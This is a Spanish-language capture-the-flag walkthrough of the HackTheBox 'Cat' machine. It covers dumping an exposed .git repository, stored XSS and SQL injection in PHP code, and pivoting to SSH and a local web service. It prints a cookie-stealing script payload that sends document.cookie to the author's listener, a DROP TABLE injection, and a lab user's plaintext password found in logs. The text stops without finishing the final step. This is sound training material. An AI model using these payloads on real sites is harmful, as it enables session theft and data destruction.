Cat robo de cookies

┌──(lass㉿lass)-[~/hackthebox/GitHack/cat.htb]
└─$ nmap 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 21:34 -05
Nmap scan report for cat.htb (10.10.11.53)
Host is up (1.0s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds

Entramos al puerto 80

Comprobación de cookies

Incluso antes de iniciar sesión, notamos que la aplicación asigna cookies a nuestra sesión:

Enumeración de subdominios y directorios

Mientras tanto, buscamos subdominios pero no encontramos nada significativo. A continuación, realizamos la enumeración de directorios utilizando dirsearchuna lista de palabras predeterminada:

dirsearch -u http://cat.htb/

Durante la enumeración, descubrimos un directorio .git :

Extrayendo el repositorio .git

Para aprovechar esto, utilizamos una herramienta llamada git-dumper , que ayuda a automatizar la extracción de .gitrepositorios. Esta herramienta verifica si el listado de directorios está habilitado y descarga recursivamente el .gitcontenido para su posterior análisis.

Git-dumper

1. Crear y activar un entorno virtual (venv)

# Crear el entorno virtual (Python 3)
python3 -m venv git-forensics-env

# Activar el entorno (Linux/macOS)
source git-forensics-env/bin/activate

# En Windows (CMD/PowerShell)
git-forensics-env\Scripts\activate

2. Instalar git-dumper

pip install git-dumper

3. Clonar y usar GitTools (opcional)

git clone https://github.com/internetwache/GitTools.git
cd GitTools
# No requiere instalación, se ejecuta directamente.

4. Ejemplo de uso

Descargar un repositorio .git expuesto:

git-dumper http://cat.htb/.git cat

Revisión del código fuente extraído:

Después de extraer el .gitdirectorio, ahora tenemos acceso a una gran parte del código fuente. Esto nos permite comprender mejor la estructura de la aplicación y sus posibles vulnerabilidades.

Con esta información podemos proceder a analizar el código fuente e identificar debilidades explotables.


Identificación de vulnerabilidades

1. XSS almacenado en el registro (join.php)

Al revisar join.php, notamos que una entrada de usuario no saneada se almacena directamente en la base de datos durante el registro:

// Registration process

// Vulnerable registration code
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];  //  Unsanitized input
    $email = $_GET['email'];        //  Unsanitized input

    $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
    $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
}

En este caso, los campos usernamey no se desinfectan ni se validan antes de almacenarlos en la base de datos, lo que permite que un atacante inyecte cargas útiles XSS almacenadas .email

Ejemplo de ataque:

Un atacante podría registrarse con el siguiente nombre de usuario:

Username: <script>alert(document.cookie)</script>
Email: attacker@evil.com

Dado que la entrada se almacena en la base de datos sin desinfección, cada vez que se muestra este nombre de usuario, se ejecuta el script malicioso, robando potencialmente cookies de otros usuarios.

Esto podría aprovecharse para secuestrar sesiones o realizar otros ataques dentro de la aplicación.


2. Inyección SQL en accept_cat.php

Analizando accept_cat.php, encontramos otra vulnerabilidad importante: Inyección SQL debido a la entrada directa del usuario en consultas SQL.

// VULNERABLE CODE:
$cat_name = $_POST['catName'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

He aquí por qué esto es peligroso:

  • $cat_nameno se desinfecta antes de usarse en la consulta SQL.

  • Se utiliza la concatenación de cadenas , lo que la hace propensa a ataques de inyección SQL.

  • exec()se utiliza en lugar de declaraciones preparadas , dejando la aplicación expuesta.

Ejemplo de ataque:

Un atacante podría enviar una solicitud POST con:

catName = '); DROP TABLE accepted_cats; --

Esto daría como resultado la siguiente ejecución de consulta SQL:

INSERT INTO accepted_cats (name) VALUES (''); DROP TABLE accepted_cats; --')

Si se ejecuta, esto eliminaría toda la accepted_catstabla , causando una pérdida importante de datos.


Pero aquí, para explotar esto, necesitamos obtener acceso al usuario Axel .

Eso es un problema, así que intentemos obtener acceso a Axel (tal vez robando cookies a través del XSS almacenado que encontramos).

Pero ¿cómo vamos a hacer que Axel vea nuestro nombre de usuario para que pueda verlo?

Cuando lo revisé contest.php, pudimos ver que Axel es el administrador.

Al explorar el admin.php, se verifica si el usuario es Axel.

Más adelante, si vamos más allá, podremos ver que él es el tipo que puede aceptar o rechazar el gato que presentamos para el concurso.

Cuando el administrador revisa, nuestra carga útil se muestra debido a esta línea:


Básicamente, este es el flujo. ¡Ahora, ejecutémoslo!

Utilicé una carga útil básica ya que no es necesario omitir nada:

<script>document.location='http://10.10.16.9:1111/?c='+document.cookie;</script>

No olvides iniciar el servidor web:

python3 -m http.server 1111

Después de unos segundos, recibimos una cookie para el administrador: Axel

Vamos a usarlo. Ahora podemos ver el panel de administración

Vamos a intentar descifrar cada uno de ellos. En el caso de Rosa, se descifró el hash de la contraseña.

Entramos como rosa por ssh

rosa@cat:~$ ls
rosa@cat:~$ cd /home
rosa@cat:/home$ ls
axel  git  jobert  rosa
rosa@cat:/home$ cd axel
-bash: cd: axel: Permission denied
rosa@cat:/home$ 
Todos los usuarios

Hay un total de 4 usuarios en la máquina.

Después de un tiempo, al verificar el registro de Apache, podemos encontrar las credenciales de inicio de sesión del usuario Axel:

cat /var/log/apache2/access.log
grep -i "password" /var/log/apache2/access.log
axel : aNdZwgC4tI9gnVXv_e3Q

Al navegar por la máquina no encontré nada para rootear. Al verificar /var/mail/axel, podemos ver el correo.

Miramos los puertos corriendo:


axel@cat:/var/mail$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:40567         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41213         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43487         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
axel@cat:/var/mail$ 

Podemos usar chisel o proxychains en esta ocasion use proxy:

ssh -L 3000:127.0.0.1:3000 axel@10.10.11.53

Si ves la parte inferior de la página, hay un número de versión.

¡Quizás busquemos algún CVE! Porque no hay repositorios ni nada.

Aquí se almacena xss, ahora si recuerdan lo del correo... las cosas empezaron a coincidir.

También tenga en cuenta en el correo que Rosa mencionó

Bien ahora iniciamos sesion como axel en el panel:

Last updated